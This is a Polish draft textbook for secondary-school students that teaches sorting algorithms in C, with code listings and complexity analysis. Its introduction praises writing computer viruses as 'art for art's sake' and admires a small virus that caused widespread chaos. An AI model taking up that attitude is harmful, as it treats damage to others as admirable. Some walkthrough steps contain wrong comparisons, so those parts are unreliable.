Mariusz Kaczorek

Piotr Ładyżyński

Michał Przyłuski

Dlaczego komiwojażer Bajtazar chodzi smutny?

Skrypt dla uczniów szkół średnich
zainteresowanych programowaniem

do wykorzystania na lekcjach
przez naszego drogiego profesora Kosmalę

Warszawa 2004

Tu idą wszelkie informacje techniczne o książce, czyli np. data, miejsce wydania, wydawnictwo, copirajty itp. Można tu też zamieścić jakąś odmianę streszczenia (taką z rodzaju tych umieszczanych na ostatniej stronie okładki). Nie wiem co jeszcze...

Skład i łamanie: Zespół, przy pomocy systemu składu tekstu LaTeX2ε
Lucky to be '*Set in Minion*' and '*Set in GillSans*', Adobe Inc. fonts.

Wersja: `0.95 minion+gillsans`

Mojemu morderczemu kaukazowi Tysonowi
— Mariusz Kaczorek

???
— Piotr Ładyżyński

Dla Ros
— Michał Przyłuski

Spis treści

Spis tabel

Spis listingów

Przedmowa

Język C powstał w czasach zamierzchłej przeszłości. Został on przez dekady unowocześniony i nieźle udokumentowany. Pozwoliło mu to zachować formę i stać najpowszechniej stosowanym językiem programowania również na początku XXI wieku. Jego ugruntowana pozycja pozwala przypuszczać, iż tendencja ta nie ulegnie zmianom w ciągu najbliższych lat.

Od początku swojego istnienia, język C był obecny w środowisku naukowym i akademickim. Nie był on jednak powszechny w szkołach średnich. Przez dziesięciolecia w liceach dominował (i dominuje) Pascal. Jest on niewątpliwie językiem dobrym do prezentacji algorytmów, jednakże nie nadaje się prawie do tworzenia jakichkolwiek prawdziwych programów. A chyba nie chodzi o wtłoczenie do uczniowskich głów bezwartościowych informacji o algorytmach, tylko o nauczenie ich podstaw programowania. A tego nie da się zrobić w Pascalu.

Tą książką chcielibyśmy wyprzeć ze szkół Pascala, na rzecz C(++). Pokażemy, że te same algorytmy co w Pascalu można równie łatwo i przystępnie przedstawić w C.

Jednocześnie zaprezentujemy pomoc do pewnego ważnego elementu programu nauczania informatyki w szkole średniej, a mianowicie krótki wstęp do HTML'a.

Wymagania wstępne

Aby dobrze zrozumieć ten skrypt wymaganych jest kilka przymiotów. Podstawowym będzie oczywiście otwartość umysłu i zdolność do operowania na wysokim poziomie abstrakcji (danych, kodu i nie tylko :->).

Odnośnie Algorytmów niewątpliwie przydatna okaże się choćby elementarna znajomość C lub C++, chociaż wystarczy zamiast tego znajomość Javy. Jeśli ktoś jednak nie zna ani C ani C++ to polecamy lekturę książki Kernighan i Ritchie na temat języka ANSI C — [5] (lub pierwsze wydanie [4] o tzw. K&R C) lub [6] o C++. Zasadniczo każdy rozsądny język wysokiego poziomu powinien być OK. Prawdziwi twardziele mogą pisać w Adzie, chociaż osobiście takich nie znam.

Co do części o Assemblerze to oczywiście znajomość Assemblera, względnie WinAssemblera. Również pomocne będzie stare dobre `Cy` względnie `++`. Szczegółowe wymagania są na str. 43.

Odnośnie HTML'a pomocny się może okazać komputer i dowolny interpreter (zwany potocznie przeglądarką) tego języka np. Netscape [1] lub Lynx [2].

M. K., P. Ł. i M. P.
Warszawa, 2004 r.

Rozdział 1

Wstęp

O ważnej roli jaką odgrywa język C we współczesnym świecie szeroko pojętej informatyki nie trzeba nikogo przekonywać. Jednakże każdy uczeń, chcący się nauczyć tego języka napotka na setki trudności. Najpierw w szkole wmówią mu, że najlepszy jest Pascal. Gdy jednak nawet nasz uczeń sie zbuntuje i postanowi pisać wszystko to co miał pisać w Pascalu w C natrafi na kolejny problem. Jak zapisać szkolne algorytmy i struktury danych w C?

Tutaj właśnie wkracza nasza książka. Zakładając elementarną praktyczną znajomość C, zaprezentujemy najważniejsze algorytmy i struktury danych spotykane na codzień w szkole i nie tylko. A o tym, że

$$\text{algorytmy} + \text{struktury danych} = \text{programy} \tag{1.1}$$

, nie trzeba chyba nikogo przekonywać.

Podobna sytuacja ma miejsce odnośnie wirusów i Assemblera. Może się to komuś wydać straszne; pisanie programów wyrządzających innym krzywde, lecz należy to potraktować jako „sztuka dla sztuki". Czyż nie jest piękne, gdy ledwo 12kB wirus powoduje zamęt ([3]), o którym usłyszymy w BBC ? Trzeba pamiętać jednak ile czasu zostało poświęcone na te marne 12kB kodu wynikowego; setki i tysiące linii kodu źródłowego, nie przespane noce, litry kawy...

Odnośnie HTML'a zostało chyba powiedziane wszystko. Po specyfikację języka zapraszamy na strony W3C — [7]. O HTML'u napisano też setki książek i opracowań, a mimo to wyrażamy nadzieję, iż nasze okaże się przydatne i interesujące.

Część I

Algorytmy

Rozdział 2

Wstęp

Algorytmy. Bardzo trudno jest omówić cały rozległy problem algorytmiki. Na początek: co to jest? Jest to nauka zajmująca się między innymi tworzeniem i analizą pewnych schematów postępowania (zwanych algorytmami). Z algorytmami mamy bardzo często do czynienia, np. podczas parzenia herbaty czy kawy. Za każdym razem postępujemy według tego samego lub bardzo podobnego schematu.

Podobnych schematów wymagają komputery. W tej części zaprezentujemy kilkanaście najważniejszych i najciekawszych algorytmów. W pierwszym rozdziale tej części będą to algorytmy sortowania. W dalszych planujemy poruszyć temat przeszukiwania (tekstów i posortowanych tablic liczb całkowitych), a także objaśnić pojęcie rekurencji. Przy okazji rekurencji zaprezentujemy ideę i podstawowe metody technik zwanych „dziel-i-zwyciężaj" oraz programowania dynamicznego.

Rozdział 3

Sortowanie

3.1 Wstęp

Problem uporządkowania pewnych danych od stuleci gnębił ludzkość. Problem ten stał się tak uporczywy, iż stworzono komputer. Miał on za zadanie ułatwić szeroko pojęte przetwarzanie danych. Wiązało się to również z koniecznością sortowania pewnych danych.

Sortowanie jest więc bez wątpienia najbardziej fundamentalnym problemem algorytmicznym.

1. Prawdopodobnie ok. 25% czasu Twojego procesora jest spędzane na sortowanie.
2. Sortowanie jest fundamentem dla innych problemów algorytmicznych, np. przeszukiwania binarnego.
3. Wiele różnych podejść doprowadza do wielu różnych algorytmów sortowania, a te pomysły mogą być użyte też bardziej ogólnie.

Tak precyzyjnie: Co to jest sortowanie? *Sortowanie jest problemem wybierania dowolnej permutacji* n*-elementowej i ułożenia jej do globalnego porządku.*

$$X_i \geq X_j \Leftrightarrow i \geq j$$

Podstawową książką o sortowaniu jest oczywiście **Donald Knuth, *The Art of Computer Programming*, Volume 3: *Sorting and Searching*, Addison-Wesley**.

Przez ostatnie półwiecze stworzono wiele algorytmów sortowania. Część z nich okazała się „*łatwa, miła i przyjemna*" podczas gdy inna część wiązała się z „*potem, krwią i łzami*". Postaramy się tu przedstawić zarówno te prostrze, jak i te mniej przyjemne, ale w jak najbardziej przystępnej formie. Podstawowym kryterium wyboru algorytmów do tego opracowania nie była jednak ani ich szybkość (jest tu np. sortowanie przez wstawianie) ani prostota (HeapSort, sortowanie przez wytrząsanie) ale *piękno*. Kierowałem się tym samym (względnym) pięknem, które jest w tytule Knuth'a, a więc pięknem w znaczeniu sztuki. Tak więc dobór algorytmów jest bardzo subiektywny, często nie poparty żadnymi racjonalnymi podbudkami.

Jak łatwo zauważyć „algorytm sortowania" nie jedno ma imię. Każdy, nawet prosty, żeby nie powiedzieć prostacki, (np. M$ Excel) lub bardziej rozbudowany (np. OpenOffice.org Calc) akrusz kalkulacyjny oferuje nam wiele metod sortowania. Nie mam tu na mysli różnych *algorytmów* sortowania, lecz np.: kolejność (rosnąca/malejąca). Podobne możliwości ma baza danych. Tyczy to się każdej tj. prawdziwa oparta na SQL'u jako takim (np. PostgreSQL, Oracle 9*i*) lub prosty M$ Access. Tutaj sortowanie zazwyczaj odbywa się podług jakiegoś konkretnego pola, a nie całego rekordu.

Na wstępie podam wykaz (tabelka 3.1) algorytmów, które opiszę, wraz z ich alternatywnymi nazwami. Będę się nimi stosunkowo często posługiwać, aby uniknąć powtórzeń.

	Nazwa główna	Nazwy inne	Rozdział
Sortowanie	przez wstawianie	Insertion-sort	3.2
	Shell'a	Shell-sort	3.2.1
	bąbelkowe	Bubble-sort; bubbles	3.3
	przez wytrząsanie	Shaker-sort	3.3.1
	dwu-bąbelkowe	Double-bubble-sort; Bi-directional-bubble-sort	3.3.1
	szybkie	QuickSort; qsort	3.4
	szybkie i bąbelkowe	Qubble	3.4.1
	przez scalanie	Merge-sort	3.5
	przez kopcowanie	stertowe; Heap-sort	3.6.1
	przez wybieranie	Selection-sort	3.6.2
	kubełkowe	bucket sort	3.6.3
	parzysto-nieparzyste	Odd-Even Transposition Sort	3.7.1
	przez wycinanie	Shear Sort	3.7.2

Tabela 3.1: Algorytmy sortowania opisane w książce

3.1.1 Złożoność teoretyczna i praktyczna

W celu porównywania algorytmów został wprowadzony sposób na określenie dla każdego z nich wielkości zwanych złożonością teoretyczną i praktyczną. Obie one pozwalają z dużą dokładnością stwiedzić, który algorytm okaże się szybszy. Zamieszczę tutaj krótki wstęp w ten temat, jednak bez wprowadzania całego aparatu matematycznego wymaganego do pełnego zrozumienia opisywanych zagadnień. Postaram się przedstawić jedynie *praktyczną* stronę obu złożoności.

Zasadniczo rzecz biorąc złożoność (praktyczna i teoretyczna) jest to pewnego rodzaju prognozowany czas wykonania danego algorytmu. A zatem *złożoność jest to pewna funkcja ilości danych początkowych*. W przypadku złożoności teoretycznej najbardziej interesuje nas klasa funkcji jakiej jest nasza, oznaczana przez $O(n)$, funkcja. Szczególnie często mamy do czynienia z funkcjami $O(n^2)$, $O(n \log n)$, $O(n)$, $O(a^n)$, itp. Oznacza to, że np. dla funkcji klasy $O(n^2)$ jeśli zwiększymy ilość danych (n) 5-krotnie to czas wykonania wzrośnie 5^2-krotnie.

Złożoność teoretyczna powinna również obrazować ilość elementarnych operacji (np. porównania, przypisania) potrzebnych w zależności od ilości danych do wykonania algorytmu. Lepiej to oddaje złożoność praktyczna $T(n)$. Podczas gdy całe $O(n)$ z reguły pozostaje bez żadnych współczynników, to $T(n)$ może być np. $T(n) = 5n^2 + 4\log_{2/3} n + n + 4$. Jak widać, odpowiadające mu O, to $O(n) = n^2$, czyli w skrótowo rzecz ujmując algortym ten jest klasy $O(n^2)$.

Warto tu zauważyć, że notacja O jest słuszna dla „dość dużych" n. Porównując dwa algorytmy przy pomocy T, dla zbyt małych n, może się okazać, że quicksort jest wolniejszy od bąbelków...

Jednakże nie jest to zła właściwość. Porównajmy algorytm $T(n^2/4)$ i $T(n \lg n)$. Okazuje się, że dla $n < 16$ szybszy jest ten kwadratowy! Prezentuje to tabela 3.2. Widzimy jednocześnie, że dla np. 100 różnica między kwadratowym i logarytmicznym zaczyna być duża.

Z tej własności korzystają algorytmy mieszane takiej jak chociażby Qubble (skrzyżowanie QuickSorta i bąbelków). Takie „hybrydy" możemy sami tworzyć jeśli tylko uznamy, że przyspieszy to wywołanie algorytmu. Szczególnie często możemy natrafić na wykorzystania algorytmów $O(n^2)$ dla małych tablic w algorytmach $O(n \log n)$.

n	$n^2/4$	$n \lg n$
5	7	20
10	25	33
16	64	64
100	2500	664

Tabela 3.2: Algorytm kwadratowy i logarytmiczy dla małych n

3.1.2 Konwencje

Dla ułatwienia, początkowo wszystko będzie się działo na tablicach o ustalonych wymiarach składających się z liczb stałoprzecinkowych, a więc `int`.

Ponadto w kodach źródłowych będę stosował pewne stałe funkcje. Zostały one zamieszczone w listingu 3.1.1.

Listing 3.1.1 Podstawowe funkcje

```
#define MAX 12

void zamien(int *tab, int co, int zczym) {
int temp = tab[co];
tab[co] = tab[zczym];
tab[zczym] = temp;
} /* koniec zamien */

int main(){
int tab[]={2, 5, 9, 3, 6, 1, 9, 18, 4, 7, 17, 5};

wypisz_tablice(tab, MAX);
sortuj(tab, MAX); //czasem sortuj(tab, 0, MAX);
wypisz_tablice(tab, MAX);
return 0;
} /* koniec main */
```

Mam nadzieję, iż dla nikogo nie stanowią one zagadki. Jedynie warto wspomnieć o zawartości `main()`. Zadeklarowana została w nim przykładowa tablica, która będzie podlegała sortowaniu. Zawiera ona też lapidarnie określoną funckję sortującą. Najczęściej `sortuj()` zostanie zastąpione przez nazwę algorytmu sortującego i wywołane z takimi samymi argumentami. Jednakże w przypadku kilku algorytmów, w których konieczne jest podanie początku i końca tablicy argumenty te zostaną odpowiednio zmodyfikowane, chociaż nie podejrzewam aby komukolwiek zrodziły się wątpliwości odnośnie ich użycia.

3.2 Sortowanie przez wstawianie

Najprostrzym koncepcyjnie algorytmem sortowania jest *sortowanie przez wstawianie*. W dużym skrócie można powiedzieć, że bierzemy kolejne elementy tablicy i wkładamy je w odpowiednie miejsce.

Jest to już to miejscie, w którym się znajdą po całkowitym posortowaniu. Kod źródłowy przedstawia listing 3.2.1.

Listing 3.2.1 Sortowanie przez wstawianie

```
void insertionsortuj(int *tab, int ile){
for (int i = 0; i < ile; i++){
        int j = i;
        int temp = tab[i];
        while ((j > 0) && (tab[j-1]) > temp) {
                tab[j]=tab[j-1];
                j--;
        }
        tab[j] = temp;
}
} /* koniec insertionsortuj */
```

3.2.1 Shell-sort

Shellsort jest prostym rozwinięciem sortowania przez wstawianie. Zyskuje on na prędkości umożliwiając zamiany elementów tablicy będących znacznie oddalonych. Ideą algorytmu jest dążenie do takiego ustawienia danych, że każdy k-ty element tablicy (będący gdziekolwiek) rozpoczyna posortowaną tablicę. Nazywamy wtedy taką tablicę k-posortowaną.

Dzięki dokonywaniu k-sortowania dla pewnych dużych wartości k przenosimy elementy w tablicy na duże dystanse i dzięki temu jest ją łatwiej posortować dla mniejszych k. Gdy będziemy postępować w ten sposób dla dowolnego ciągu wartości k, który będzie się kończył 1 otrzymamy posortowaną tablicę. Algorytm został przedstawiony na listingu 3.2.2.

Listing 3.2.2 Sortowanie Shell-sort

```
void shellsortuj(int *tab, int ile){
int h = 1;
while ((3 * h + 1) < ile)
        h = 3 * h + 1;

while (h > 0){
        for (int i = h -1; i < ile; i++){
                int b = tab[i];
                int j = i;
                for (j = i; (j >= h && tab[j-h] > b); j-=h )
                        tab[j] = tab[j-h];

        tab[j] = b;
        }
h = h / 3;
}
} /* koniec shellsortuj */
```

3.3 Sortowanie bąbelkowe

Sortowanie bąbelkowe jest kolejnym prostym algorytmem. Koncepcyjnie jest ono prostrze od sortowania przez wstawianie. Wyobraźmy sobie tym razem tablicę do posortowania nie w poziomie, lecz w pionie; zaczynając od 0. Funkcja sortująca składa się z dwóch pętli. Jak całość działa? Najlepiej zobrazuje to listing 3.3.1.

Listing 3.3.1 Sortowanie bąbelkowe

```
void babelkuj(int *tab, int ile){
for (int i = 1; i < ile; i++)
    for (int j = ile-1; j >= i; j--)
        if (tab[j] < tab[j-1])
            zamien(tab, j, j-1);
}
```

Chyba każdy przyzna, że zapis jest prosty. W zasadzie całość zajmuje 4 linijki. Jestem przekonany, że nie ma drugiego tak krótkiego algorytmu.

Zanalizujmy zatem funckję `sortuj()`. Pętla zmiennej `i` za każdym przejściem pętli zmniejsza (od góry) analizowany obszar tablicy. Natomiast pętla zmiennej `j` jest odpowiedzialna za porównywanie elementów dolnego i znajdującego się nad nim. Główną idee tego algorytmu można sprowadzić do następującego stwierdzenia. Jeśli w komórce o indeksie i_{k-1} (czyli w komórce „ponad" i_k) jest większa wartość niż w i_k to następuje ich zamiana.

Spróbujmy ręcznie przesortować coś takiego: `int tab[]={5, 7, 2, 1, 4};` Najpierw `i` wskazuje na zerowy element tablicy, a `j` jest w stanie przebiec całą tablicę (oczywiście od końca). Najpierw dokonywane jest porównanie między 4 i 1. Są one juz ułożone (1 ponad 4), więc nie jest dokonywana żadna zamiania. Teraz indeks `j` maleje o 1 i dokonujemy porównania między 1 i 2. Tutaj kolejność jest zła, więc zamieniamy je. Po tych dwóch operacjach tablica wygląda następująco: $5, 7, 1, 2, 4$. Tak więc tablica już jest „trochę" posortowana. Sortujmy dalej. Porównujemy 7 i 1, zamieniamy je, porównujemy 5 i 1, zamieniamy je. Teraz 1 znajduje się już na początku tablicy, `j` przebiegło całą tablicę, więc indeks `i` rośnie o 1, aby nie analizować tego przesortowanego fragmentu tablicy (aktualnie jest to tylko komórka o numerze 1).

Rozpoczynamy drugi przebieg, tym razem już tylko na 4 dolnych komórkach tablicy. $4 > 2$, więc zamiana jest nie potrzebna, $7 < 2$, zamieniamy, $5 < 2$, zamieniamy. Teraz sytuacja jest następująca: $1, 2, 5, 7, 4$. Rozpoczynamy trzeci przebieg, analizie podlegają tylko 3 ostatnie komórki tablicy, bo $\mathtt{i} = 1$, czyli wskazuje na pierwszą komórkę do analizy (komórke drugą). Teraz 4 zamieniamy najpierw z 7, a potem z 5 i na tym się zamiany kończą. Pozostałe przebiegi pętli są marnowane na upewnienie się, że dane zostały posortowane.

Aby podsumować; w każdym przebiegu, przy każdym porównaniu, mniejsza z dwóch liczb idzie do góry.

3.3.1 Double-bubble i Shaker-sort

Double-bubble można określić mianem podwójnego sortowania bąbelkowego. Oznacza to to samo co *„Bi-directional bubble sort"*, a więc dwu-kierunkowe sortowanie bąbelkowe. Zostało ono przedstawione na listingu 3.3.2.

Nieco odmienną rzeczą jest tzw. sortowanie przez wytrząsanie, zwane powszechnie *ShakeSort*. Częściowo ono przypomina wspomniane wyżej *DoubleBubble*. Proponuję najpierw spojrzeć na listing 3.3.3.

Listing 3.3.2 Double-bubble

```
void dbsortuj (int *tab, int ile){
int j;
int limit = ile;
int st = -1;
int flipped; /* zamiast boolean, 0 - falsh, 1 - richtig */

while (st < limit){
        flipped = 0;
        st++;
        limit--;
        for (j = st; j < limit; j++)
                if (tab[j] > tab[j+1]){
                        zamien(tab, j, j+1);
                        flipped = 1;
                }

        if (!flipped)
                return;

        for (j = limit; --j >=st; )
                if (tab[j] > tab[j+1]){
                        zamien(tab, j, j+1);
                        flipped = 1;
                }

} // koniec while
} /* koniec dbsortuj */
```

Listing 3.3.3 Shaken not Stirred Sorting

```
void shakesortuj(int *tab, int ile){
int i = 0;
int k = ile - 1;

while (i < k){
int min = i;
int max = i;
int j;

for (j = i+1; j <= k; j++){
        if (tab[j] < tab[min])
                min = j;
        if (tab[j] > tab[max])
                max = j;
}

int temp = tab[min];
tab[min] = tab[i];
tab[i] = temp;

if(max == i){
        zamien(tab, min, k);
}else{
        zamien(tab, max, k);
}

i++;
k--;
} /* koniec while głównego */
} /* koniec shakesortuj */
```

Jak widać, mimo pozornego podobieństwa, algorytm się różnią. Sortowanie przez wytrząsanie w każdym przebiegu poszukuje jednego elementu największego i najmniejszego. Gdy je znajdzie następują odpowiednie zamiany, a więc najmniejszego z początkiem tablicy, a największego z końcem. Te ekstremalne elementy są poszukiwane tylko w ramach przebiegów w jednym kierunku.

Sortowanie dwubąbelkowe przemierza tablicę w dwie strony. Wędrując w górę, tak jak klasyczne bąbelki, przestawia lżejsze elementy do góry. Gdy dotrze do końca tablicy zmienia kierunek przeglądania i spycha cięższe liczby w dół.

Jak łatwo zauważyć oba algorytmy są koncepcyjnymi rozwinięciami sortowania bąbelkowego. Są one szybsze od klasycznego sortowania bąbelkowego jednakże nie zmieniają jego klasy, tzn. nadal są $O(n^2)$. Warto dodać, iż są one tak bliskie koncepcyjnie, iż często są mylone. Ponadto trudno podać jednoznaczne nazewnictwo. Podział na „wytrząsanie" i „dwu-bąbelkowe" jest bardzo płynny. Prawda jest taka, iż można nawet uznać je za jeden algorytm, a listingi 3.3.3 i 3.3.2 jedynie przedstawiają dwie jego różne implementacje.

3.4 Quick-sort

Quick sort należy do grupy szybkich algorytmów $O(n \log n)$. Jest on w praktyce najszybszym algorytmem sortowania.

Sam algorytm jest z pozoru niejasny, krótki i jakiś dziwny. Prawie nic nie zamienia, a jednak działa. Kod źródłowy znajduje się na listingu 3.4.1. Wymaga on dogłębnego zrozumienia.

Listing 3.4.1 QuickSort

```
void qsortuj(int *tab, int lewa, int prawa){
if (lewa < prawa) {
    int m = lewa;
    for (int i = lewa+1; i <= prawa; i++)
        if (tab[i] < tab[lewa])
            zamien(tab, ++m, i);

    zamien(tab, lewa, m);
    qsortuj(tab, lewa, m-1);
    qsortuj(tab, m+1, prawa);
} /* koniec if'a głównego */
} /* koniec sortuj */
```

Warto przy okazji zwrócić uwagę, iż *QuickSort* stosuje technikę znaną jako „dziel-i-zwyciężaj". Zasadniczo polega ona na dzieleniu problemu na mniejsze. Szerzej o niej można poczytać w rodziale 3.7 „Przetwarzanie równoległe" na str. 24

Wracając do qsorta: co robimy aby przesortować coś *QuickSortem*? Musimy znaleźć sobie jakiś element osiowy (ang. *pivot*), a następnie podzielić daną tablicę na 2 „podtablice": jedną zawierającą elementy mniejsze od osiowego, i drugą zawierającą większe. Teraz na każdym tym kawałku ponownie aplikujemy nasz algortym. Kluczowe dla tej metody sortowania jest to w jaki sposób wybieramy element osiowy, jak również jak technicznie realizujemy ów podział na dwie mniejsze tablice. Dla ułatwienia opisu tego algorytmu przyjmijmy, że elementem osiowym będzie `tab[lewy]`. Celowo nie piszę `tab[0]`, gdyż nasza funkcja będzie później wywoływana od fragmentów tablicy o indeksie nie zaczynającym się od 0.

Tak więc przystępujemy do porównywań. Jeśli to co jest na prawo od analizowanego elementu jest od niego mniejsze to należy je jakoś przemieścić. Jest to realizowane poprzez zachowywanie (w zmiennej `m`) adresu ostatniej zmiany. Wynika z tego, że w `tab[m]` i na lewo od niego są wartości mniejsze od osiowego, a na prawo większe.

Jeśli ktoś nie zrozumiał to zacznijmy od początku jeszcze raz:

W trakcie swojego działania, podobnie jak wiele innych „szybkich" algortymów, wywołuje on swoją funckję sortującą na jakiś fragmentach tablicy. (Takie podejście jest silnie związane z pojęciem rekurencji.) Zasadniczo można powiedzieć, iż dąży on do podzielenia całej tablicy na mniejsze fragmenty w celu ułatwienia jej analizy. Jego główną ideą jest więc dzielenie problemu na mniejsze.

```
Przykład: Oś ok. 10

17 12 6 19 23 8 5 10 - przed
6 8 5 10 23 19 12 17 - po
```

Dzielenie powoduje, iż wszystkie elementy mniejsze od osiowego znajdują sie na lewo od niego; większe na prawo; a osiowy dokładnie między nimi. Warto zauważyć, że element osiowy znajduje się już po pierwszym przebiegu w swoim finalnym położeniu.

Jak przebiega samo sortowanie? Jak już wybierzemy element osiowy możeby przystąpić do podziału. W jednym liniowym przejsciu po tablicy dzielimy ją na 3 obszary: mniejszy od pivot, większy od pivot i niezbadany.

```
Przykład: Oś ok. 10

| 17   12   6   19   23    8   5  | 10
|  5   12   6   19   23    8 | 17
   5 | 12   6   19   23    8 | 17
   5 | 8    6   19   23 | 12   17
   5   8  | 6   19   23 | 12   17
   5   8    6 | 19   23 | 12   17
   5   8    6 | 23 | 19   12   17
   5   8    6 ||23   19   12   17
   5   8    6   10   19   12   17   23
```

Gdy przeglądamy od lewej do prawej przesuwamy też lewy koniec tablicy do prawej gdy element tam jest mniejszy od pivot'a. W przeciwnym wypadku zamieniamy go z najbardziej prawym elementem tablicy należącym do niezbadanego obszaru i przesuwamy prawy brzeg tablicy jedną pozycję w lewo.

Ponieważ podział wymaga maksymalnie n zamian, zajmuje to liniowy czas, aby podzielić tablicę. Co to daje ponadto?

1. Element osiowy znajduje się w swojej finalnej pozycji.

2. Po podziale żadne elementy z „lewej" strony nie będą musiały być zamienione z żadnymi elementami z „prawej" strony, ani *vice versa*.

Dzięki tym dwóm cechom można lewy i prawy obszar tablicy sortować w pełni niezależnie. To daje nam właśnie rekurencyjny algorytm sortowania, gdyż możemy stosować nasze podziałowe podejście aby przesortować każdy podproblem.

Zanalizujmy teraz jak kształtuje się wydajność tego algorytmu dla różnych przypadków.

Najlepszy przypadek

Najlepszy przypadek dla algortymów „dziel-i-zwyciężaj" ma mniejsce gdy problem dzielimy tak równo jak to tylko możliwe. A więc gdy każdy podproblem jest dokładnie o rozmiarze $n/2$.

Wysiłek każdego podziału na podproblemy jest liniowy względem jego rozmiaru. Wynika z tego, iż całkowity koszt podziału 2^k problemów o rozmiarze $n/2^k$ wynosi $O(n)$.

Całkowitych podziałów na każdym poziomie jest $O(n)$. Zajmie nam dokładnie $\log n$ podziałów (idealnych, a więc na pół) aby rozłożyć problem początkowy na jednostkowe podproblemy. Gdy dotrzemy do takiego podziału to elementy są już posortowane. Wynika z tego, iż całkowity czas dla najlepszego przypadku wyniesie $O(n \log n)$.

Najgorszy przypadek

Załóżmy teraz, że nasz element osiowy dzieli tablicę tak nierówno jak to tylko możliwe. Przez to zamiast $n/2$ elementów w jednej połowie, mamy ich tam 0. Oznacza to, iż pivot jest najmniejszy (lub największy) na analizowanym fragmencie tablicy. A ponieważ takie „złe" podziały miałyby mieć miejsce na całej tablicy wynika z tego, że źle jest gdy element osiowy jest jednym z ekstremalnych elementów tablicy.

Oznacza to, iż mamy $n - 1$ poziomów rekurencji (zamiast $\log n$). Wynika z tego, że (podobną metodą jak dla najlepszego przypadku) złożoność dla najgorszego przypadku to $O(n^2)$. Można do tego łatwo dojść, gdyż dla pierwszych $n/2$ poziomów każdy ma $\geq n/2$ elementu do podziału.

A zatem najgorszy przypadek dla QuickSort'a daje gorszy wynik niż HeapSort lub MergeSort.

Średni przypadek

Jednakże, aby uzasadnić jego nazwę QuickSort jest lepszy dla średniego przypadku. Pokazanie tego wymaga nieco dogłębniejszej analizy.

Zasada „dziel-i-zwyciężaj" ma również swoje podstawy w rzeczywistym życiu. Jeśli podzielimy naszą pracę na mniejsze części to najlepiej nam pójdzie jeśi uczynimy te nowe części (podproblemy) równe.

W wielu książkach, a napewno w Knuth'cie, znajdziemy pełne matematyczne dowody faktu, że QuickSort jest $O(n \log n)$ w średnim przypadku. Ja jednakże dla przejrzystości opisu użyję mniej sformalizowanego wytłumaczenia czemu tak jest.

Załóżmy, że wybieramy element osiowy losowo spośród n elementów. Połowę czasu element osiowy będzie ze środkowej połowy tablicy. Jako środkową połowę rozumiem tu przedział $A = (\frac{n}{4}, \frac{3n}{4})$.

Za każdym razem gdy pivot należy do A to pozostała część tablicy zawiera conajwyżej $\frac{3n}{4}$ elementów $(1 - \frac{n}{4})$.

Jeśli założymy, że element osiowy zawsze $\in A$ to jaka jest największa ilość podziałów potrzebna do podzielenia tablicy na 1 elementowe tablice?

$$(3/4)^l \cdot n = 1 \Rightarrow n = (4/3)^l$$
$$\log n = l \log(4/3)$$
$$\text{a więc } l = \log(4/3) \cdot \log n < 2 \log n$$

tyle dobrych podziałów wystarcza.

Co najwyżej $2 \log n$ dobrych podziałów wystarcza aby posortować tablicę n elementów.

Teraz zbadajmy jak często wybierany element jako osiowy wygeneruje dobry podział?

Ponieważ każdy numer $\in A$ będzie dobrym elementem osiowym, połową naszych wyborów (a więc czasu) będzie dobry pivot.

Jeśli potrzebujemy $2 \log n$ poziomów dobrych podziałów, aby zakończyć proces sortowania i połowa losowo wybranych osi jest „ładna" to na podstawie analizy tej rekurencji dochodzimy do wniosku, iż średnio tablica ma $\approx 4 \log n$ poziomów.

Ponieważ praca równa $O(n)$ jest wykonywana na podziały na każdym poziomie (a jest ich ok. $\log n$, gdyż O-notacja „zjadła" 4), więc $O(n \cdot \log n)$.

Bardziej wnikliwe analizy pokazują, że oczekiwana ilość porównań to $\approx 1,38 n \log n$.

Jaki jest ten najgorszy przypadek?

Najgorszy przypadek dla QuickSorta zależy od tego w jaki sposób wybieramy pivot. Jeśli zawsze wybieramy pierwszy lub ostatni element (pod)tablicy to najgorszy przypadek będzie gdy tablica jest już posortowana.

```
A B D F H J K
  B D F H J K
    D F H J K
      F H J K
        H J K
          J K
            K
```

Rysunek 3.1: Posortowana tablica a QuickSort

Taki nie przyjemny przypadek ilustruje ryc. 3.1. W tym przypadku wybieramy jako osiowy zawsze element położony na lewy krańcu tablicy. W wyniku tego dla 7 elementowej tablicy rozłożenie jej na części pierwsze zajumuje aż 7 etapów.

Aby wyeliminować ten problem, wybierzmy lepszy element osiowy. Jak to zrobić:

1. Użyj środkowego elementu aktualnie analizowanej tablicy.
2. Użyj losowo wybranego elementu aktualnie analizowanej tablicy.
3. Prawdopodobnie najlepsze ze wszystkich. Weź medianę z tych trzech elementów: pierwszy, ostatni, środkowy jako oś.

Któregokolwiek sposobu wyboru nie zastosujemy najgorszy przypadek może zainstnieć. Jednakże używając bardziej skomplikowany algorytm wyboru pivot'a, redukujemy realne prawdopodobieństwo wystąpienia najgorszego przypadku. Wynika to z tego, że wtedy ten najgorszy przypadek nie jest żadnym z naturalnych ułożeń danych wejściowych (posortowane, odwrotnie posortowane, itp.).

Jaka z tego płynie konkluzja? Bardzo prosta, dobra i zła jednocześnie. A mianowicie: dla losowego pivota nie można podać *a'priori* najgorszego przypadku. Jednakże ma to też tą wadę, iż dla naszego pivota możemy trafić na zły przypadek, który dla innego pivota byłby wcale niezły.

3.4.1 Quick + bubbles = Qubble

Na listingu 3.4.2 prezentuję zapowiedziane we wstępie skrzyżowanie sortowania bąbelkowego oraz QuickSorta. Ta hybryda uzyskuje nieznacznie (!) lepsze wyniki niż „goły" QuickSort.

Listing 3.4.2 Quicksort i sortowanie bąbelkowe

```
void qsortuj(int *tab, int lewa, int prawa){
if ((prawa - lewa) <=6 ) {
    bsortuj(tab, lewa, prawa);
    return;
}
if (lewa < prawa) {
    int m = lewa;
    for (int i = lewa+1; i <= prawa; i++)
        if (tab[i] < tab[lewa])
            zamien(tab, ++m, i);

    zamien(tab, lewa, m);
    qsortuj(tab, lewa, m-1);
    qsortuj(tab, m+1, prawa);
} /* koniec if'a głównego */
} /* koniec sortuj */

void bsortuj(int *tab, int lewa, int prawa) {
for (int j=prawa; j > lewa; j--)
    for (int i=lewa; i < j; i++)
        if (tab[i] > tab[i+1])
            zamien(tab, i, i+1);
}
```

3.5 Sortowanie przez scalanie

Jest to bardzo dobry algorytm. Opiera on się na podobnej zasadzie dekompozycji problemu na „pól" jak Quicksort.

Całą procedurę sortowania możemy podzielić na 2 etapy.

1. Dzielenie tablicy na dwie połówki. Odbywa się ono, aż otrzymamy tablice 2 elementowe lub (zależnie od implementacji) 1 elemetowe.

2. Połączenie fragmentów tablicy, z wykorzystaniem faktu, iż obie połówki są już posortowane.

